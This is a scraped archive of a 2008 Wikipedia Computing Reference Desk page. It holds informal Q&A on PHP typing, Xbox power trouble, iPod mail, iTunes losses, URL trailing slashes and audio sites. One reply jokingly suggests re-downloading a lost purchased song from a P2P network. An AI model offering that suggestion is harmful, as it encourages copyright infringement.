- It is referring to the ability to use values. Consider static typing. Assume you have a value "6" and it is of type Foo. You have a function that takes type Bar as a parameter. You know "6" is a valid value for a type Bar, but you don't know of any reasonable method for turning a Foo type into a Bar type. You end up converting from one type to another type to another to try and get what you need. It may be very wasteful if you do something like create a FooBar object that has both a Foo and Bar value inside it and the ability to convert them. In dynamic typed languages, the value is pretty much stored the same way regardless of type. So, you can arbitrarily refer to a variable as one type and then another - whatever is handy at the moment. It does create problems itself. For example, consider PHP's instamagical conversion of 0 to False to Null. If you ask for the position of "a" in the string "abcdefg", it comes back as position 0. If you ask for the position of "z" in the string, it comes back as "False" (not in the string). So, how do you tell if you got a 0 or False? You have to use the triple comparator: if($position === false) print "It is not in the string!"; -- kainaw™ 19:55, 15 July 2008 (UTC)
- why didn't they just make first position in string = position 1 ???????? is there a reason?87.102.86.73 (talk) 20:12, 15 July 2008 (UTC)
- Yes, there is a reason. The number is the offset from the first character. If it is the first character, the offset is 0. If you returned a 1, you'd be claiming that the offset from the first character is 1, which makes no sense. -- kainaw™ 11:56, 16 July 2008 (UTC)
- Unless you used counting, but it's too late now anyway. The thing has alrady been made.87.102.86.73 (talk) 13:15, 16 July 2008 (UTC)
- Yes, there is a reason. The number is the offset from the first character. If it is the first character, the offset is 0. If you returned a 1, you'd be claiming that the offset from the first character is 1, which makes no sense. -- kainaw™ 11:56, 16 July 2008 (UTC)
- why didn't they just make first position in string = position 1 ???????? is there a reason?87.102.86.73 (talk) 20:12, 15 July 2008 (UTC)
Thank you for the responses. What I really want is either a refutation of the quoted statement or a confirmation of it with an example (or a theoretical example) - i.e. a static program analysis problem whose decidability is limited. If what I have just said makes you think that I don't understand the quoted statement then could you rephrase it for me? Thanks --78.86.164.115 (talk) 21:45, 15 July 2008 (UTC)
- I think it's just terrible english - the sentence just mirrors itself "Compared to static typing (or 'early-binding'), dynamic typing is more flexible" would do, the last part "; these prevent the same level of flexibility from being achieved with static typing." simply repeats the beginning.:This shorter version says exactly the same thing:
Compared to dynamic typing, static typing (or 'early-binding') is less flexible because of theoretical limitations on the decidability of certain static program analysis problems.[citation needed].
- I'd definately make that 'grammar' change regardless.
- Aside from that you were asking what does ".. decidability of theoretical limitations on the decidability of certain static program analysis problems" mean or is it right...? Actually I can't think of "theoretical limitations" - I guess it means that it may be impossible to know what sort of data type a program subroutine may possibly be presented with. To me it just doesn't make sense.. I can assume that a subroutine may be presented with any data type and add error checking to compensate.
- This much makes sense "Compared to dynamic typing, static typing (or 'early-binding') is less flexible" - it should be obvious why as well.
- The thing is that in a statically typed language those assumptions is made by the compiler. And if the compiler is allowed to make the assumption that "any type" might come as an input then you are in fact operating with dynamic typing. Taemyr (talk) 01:30, 16 July 2008 (UTC)
- This much makes sense "Compared to dynamic typing, static typing (or 'early-binding') is less flexible" - it should be obvious why as well.
- I'd suggest removing it and replacing with the meaningful part I presented above. Discuss it on the articles talk page if anyone else is there, or just post the removed parts to the talk page and if anyone can come and prove/cite what was written they can sort it out. It's gibberish. 87.102.86.73 (talk) 00:56, 16 July 2008 (UTC)
- Also note that the decidabilty problem actually affects dynamically typed programs, as described by user:kainaw above.87.102.86.73 (talk) 09:29, 16 July 2008 (UTC)
July 16
my xbox
win i plug in my power to my xbox it will not come on why is that —Preceding unsigned comment added by 72.205.201.13 (talk) 02:14, 16 July 2008 (UTC)
- Are you getting the Red Ring of Death? Any error codes? Perhaps call 1-800-4MY-XBOX. Useight (talk) 03:10, 16 July 2008 (UTC)
- I can attest that their support does not suck. Try it out! Is this an original Xbox or Xbox 360? --mboverload@ 05:32, 16 July 2008 (UTC)
- If you have to send it back for repair remove all accessories including the disk cover and faceplate if you have a xbox 360; they remove those and you don't get them back..87.102.86.73 (talk) 11:09, 16 July 2008 (UTC)
iPod touch and comcast
Does anyone know if the iPod touch allows someone to access Comcast email through the Mail application? I know how to access it through Safari, but I really want to figure out how to use Mail. --Dem393 (talk) 03:28, 16 July 2008 (UTC)
- Does Comcast email have POP3 or IMAP access? --antilivedT | C | G 05:21, 16 July 2008 (UTC)
- Comcast POP3 access on iPod Touch. Or try their web portal built for mobile devices. [4] Forgive me if I'm out of line but you should try gmail.com. I'm not telling you that it's better - just that it provides a lot of interesting and cool features. Good luck! --mboverload@ 05:31, 16 July 2008 (UTC)
- Thanks for the help! I guess I can use gmail someday. If I happen to delete a message from my iPod, then that doesn't affect my actual account, right?--Dem393 (talk) 13:44, 16 July 2008 (UTC)
itunes
if a song u bought gets erased off ur computer...how can u get it back from itunes without paying again? —Preceding unsigned comment added by 76.14.124.175 (talk) 03:58, 16 July 2008 (UTC)
- Apple considers all tracks bought from iTunes the same as selling you a physical copy. If you "loose" it there is no way to get it back. Apple has not figured out the difference between physical and digital yet I guess. Sorry mate, you're out of luck =(. However, I'm sure Copyright Jesus won't smite you if you download it off a P2P application. --mboverload@ 05:27, 16 July 2008 (UTC)
- Is this the case even on the DRM infected stuff? If so, what's the point of the DRM? Nil Einne (talk) 11:24, 16 July 2008 (UTC)
- Yes. DRM files as well. The point of DRM is so that you can't give it to someone else, not for Apple or anyone else to keep a running database of everything that you ever bought from them. Dismas|(talk) 12:58, 16 July 2008 (UTC)
- That's right, Digital Rights Management is completely one-sided, with only protections for companies and none whatsoever for consumers. Another consumer protection which should be offered is the right to get any song you've paid for in any digital format. If you paid for a song and some day want it in the "new MPEG-9 format, which allows you to remix the song as desired, since it contains separate tracks for each instrument and voice", there shouldn't be an extra charge for that (or at least not as much for a song upgrade as for a new purchase). StuRat (talk) 15:27, 16 July 2008 (UTC)
Websites, directories, subdirectories, and the like....
How does one go about creating something like a subdirectory but ending up with a web address such as "www.abc.com/def" and not "www.abc.com/def/". nat.utoronto 08:45, 16 July 2008 (UTC)
- (please nothing too complicated...thx) nat.utoronto 08:46, 16 July 2008 (UTC)
- You can't. example.com/abc refers to the file named abc whereas example/abc/ refers to the directory named abc. --antilivedT | C | G 08:52, 16 July 2008 (UTC)
- I see... nat.utoronto 08:55, 16 July 2008 (UTC)
- so how do you get an html file without the .html (i.e. "www.abc.com/def.htm" → "www.abc.com/def") nat.utoronto 08:58, 16 July 2008 (UTC)
- You can have a file named anything you want, as long as you set up the web server to somehow know what type of file it is and send the correct MIME type. It might not even be a regular file; it might be some kind of script; again, the web server would have to be set up to run this script. --Spoon! (talk) 09:15, 16 July 2008 (UTC)
- If you wanted an address such as "www.example.com/abc" one would create the folder named "abc" in the document root and then create a file called "index.html" in the "abc" folder. When someone enters the URL "www.example.com/abc" the server or the browser (I forget which) would automatically add the trailing slash "www.example.com/abc/" and the server would then serve the file "www.example.com/abc/index.html". Depending on your browser and/or the server the URL showing in the address bar would show "www.example.com/abc/". -=# Amos E Wolfe talk #=- 09:11, 16 July 2008 (UTC)
- The above answer is probably the one you want. The rest of them do not seem to answer the question correctly. The way you have it display a directory like that is by using the index file, which is the file automatically displayed by a server whenever you go to just a directory and don't specify the file. It is usually "index.html" or something like that (index.htm, index.php, index.cgi, etc.), but this can usually be configured at the server level. --98.217.8.46 (talk) 13:12, 16 July 2008 (UTC)
- You could set it up with mod_rewrite, but I'm not really sure why you would. Any half-decent web server (certainly Apache) automatically redirects the unslashed version to the slashed version — Matt Eason (Talk • Contribs) 12:27, 16 July 2008 (UTC)
- The question is ambiguous. He could be asking whether you could have http://abc.com/def display a page but http://abc.com/def/ display a different page or a 404 or something. This obvioulsly could be done, I don't know if mod_rewrite would do it but you could write a mod_xxx that would look at the original request URL. I don't know why you'd want to though. -- Q Chris (talk)
- The server can't just quietly rewrite the URL. If the browser asks for a directory without the trailing slash, the server must redirect it to the URL with the trailing slash, or else relative links won't work correctly. For example, if a page at:
http://abc.com/def
- has the link:
<a href="something.html">link</a>
- the browser will interpret it as "http://abc.com/something.html". But if the page is at:
http://abc.com/def/
- then the browser will interpret it as "http://abc.com/def/something.html". In action:
$ telnet www.gnu.org 80 Trying 199.232.41.10... Connected to gnu.org. Escape character is '^]'. HEAD /software/tar HTTP/1.0 Host: www.gnu.org HTTP/1.1 301 Moved Permanently Date: Wed, 16 Jul 2008 13:42:21 GMT Server: Apache/2.0.55 Location: http://www.gnu.org/software/tar/ Cache-Control: max-age=-8031789 Expires: Mon, 14 Apr 2008 14:39:12 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=iso-8859-1 Connection closed by foreign host.
- A typical url of http://example.com/some/path/file?a=b can be split into different bits. The host ("example.com") is used to connect to the correct computer on the internet. All the rest ("/some/path/file?a=b") gets fed into the web server software running on that computer. Normally this software will treat the path ("/some/path/file") as giving the location of the web page to return, but it doesn't have to do this (Django, for example, looks up the path in a list of accepted paths to decide what to do). The details depend entirely on the web server software.
- Common web server software like Apache have configuration files which describe what file to display in a number of different situations, such as what file to display if the path given refers to a directory and not a file. It also describes what other programs are used on the file before it is displayed: for example, any file ending in .php will be passed through the PHP software before the web server returns it.
- This is all general advice really - we can be more specific if you say which web server you're using (Apache, IIS, ...?) --h2g2bob (talk) 22:03, 16 July 2008 (UTC)
Disable mouse shortcuts in Firefox
How do I disable mouse shortcuts in Mozilla Firefox 3.0? NeonMerlin 19:28, 16 July 2008 (UTC)
Compile it without mouse shortcuts support.
Audio Files (eg WAV, AIFF, MP3) to MIDI converter?
Does anyone know if such a thing even exists? And were might I find one if it does? 76.166.21.149 (talk) 23:17, 16 July 2008 (UTC)
Search for program called mp3 to midi" or mp32midi ;)
Audio hosting on the Internet
I was wondering if there exists any site similar to YouTube but with the focus on audio files, not video. There is Flickr for images, but I don't know of any audio equivalent. Is there anything like this? I don't mean just a place to store files, but one with the focus on listening to them. I'm also aware that YouTube has some audio focussed videos with little or no visual component, but it's hardly a paradise if you just want audio. Richard001 (talk) 23:22, 16 July 2008 (UTC)
- There is: www.wrzuta.pl —Preceding unsigned comment added by 85.222.86.16 (talk) 23:41, 16 July 2008 (UTC)
- There are a bunch of sites that are kind of like that. The first two that come to mind are Last.fm and Muxtape, neither of which are really directly comparable to YouTube, but both of which let you browse things and listen to music. (Muxtape in particular is pretty cool.) Oh, and as slow, clumsy and horrible as MySpace is to use, it's still very popular with a lot of bands, so you can certainly find a lot of music there as well. -- Captain Disdain (talk) 00:07, 17 July 2008 (UTC)
July 17
Bluetooth headsets with USB charging
Anyone know of a guide or chart of Bluetooth headsets that feature USB charging? If I have to carry around another AC adaptor, I'm going to scream! :) --70.167.58.6 (talk) 00:15, 17 July 2008 (UTC)
How much wood would a woodchuck chuck if a woodchuck could chuck wood?
Well? —Preceding unsigned comment added by 82.24.216.90 (talk) 00:43, 17 July 2008 (UTC)
- Woodchucks don't chuck wood. 86.154.195.19 (talk) 00:47, 17 July 2008 (UTC)
- ^ Kierkegaard, Sylvia (2006). "Blogs, lies and the doocing: The next hotbed of litigation?". Computer Law & Security Report. 22: 127. doi:10.1016/j.clsr.2006.01.002.